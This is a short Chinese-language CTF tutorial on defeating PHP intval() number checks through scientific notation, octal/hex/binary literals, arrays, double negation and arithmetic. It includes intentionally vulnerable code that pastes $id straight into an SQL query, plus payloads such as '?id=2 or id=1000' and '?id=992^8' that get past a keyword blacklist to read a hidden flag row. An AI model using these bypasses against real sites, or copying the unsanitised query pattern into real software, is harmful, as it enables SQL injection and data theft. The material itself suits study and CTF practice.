intval()
int intval ( mixed $var [, int $base = 10 ] )
函数作用:获取变量的整数值
0x:16 0:8 0b:2 默认10
科学计数法绕过
当函数中用字符串
方式表示科学计数法时,函数的返回值是科学计数法前面的一个数,而对于科学计数法加数字则会返回科学计数法的数值
echo intval(1e10); // 1410065408 echo intval('1e10'); // 1 echo intval('1e10'+1); // 1410065409
应用场景:
if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024)
进制绕过
当某个数字被过滤时,可以使用它的 8进制/16进制来绕过。
当 base 为空时,默认值是 0,会根据 $var 的格式来调整转换的进制。
-
如果 $var 以 0 开头,就使用 8进制
-
如果 $var 以0x开头,就使用 16进制
-
否则,就使用 10进制
转换字符串特性绕过
-
如果以数字开头,就返回1个或多个连续的数字
-
如果以字母开头,就返回0
if(intval($id) > 999){ # id 大于 999 直接退出并返回错误 die("id error"); }else{ # id 小于 999 拼接sql语句 $sql = "select * from article where id = $id order by id limit 1 "; <!-- flag in id = 1000 -->
payload:?id=2 or id=1000
数组绕过
intval() 转换数组类型时,不关心数组中的内容,只判断数组中有没有元素,有为1无为0
三种数组写法:
$a[]=1; $a=array(1,2); $a=[1,2];
但在传参时一般使用第一种形式,经过测试发现,传参默认都是字符串类型,根据intval的字符串转换规则,如果字符串第一个字符不是数字就会直接返回0,所以后面两种形式都是返回0,只有第一种可以正确返回数字1
取反~绕过
当某个数字被过滤时,可以两次取反来绕过
var_dump(intval(~10)); \\ -11 var_dump(intval(~~10)); \\ 10
算数运算符绕过
当某个数字被过滤时,可以使用算数运算符绕过
var_dump(intval(5*5)); var_dump(intval(5+5)); var_dump(intval(05+5));
输出:
int(25) int(10) int(10)
SQL注入intval()函数绕过黑名单方法
#flag in id=1000 if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){ die("id error"); } if(intval($id) > 999){ die("id error"); } else{ # id 小于 999 拼接sql语句 $sql = "select * from article where id = $id order by id limit 1 "; } 根据黑名单的不同,访问?id=1000有以下几种方法: ?id='1000' //"1000"或(1000)皆可 ?id=125<<3 //左移 ?id=680|320 //按位或 ?id=992^8 //按位异或 ?id=~~1000 //两次取反 ?id=0x3e8 //十六进制 ?id=0b1111101000 //二进制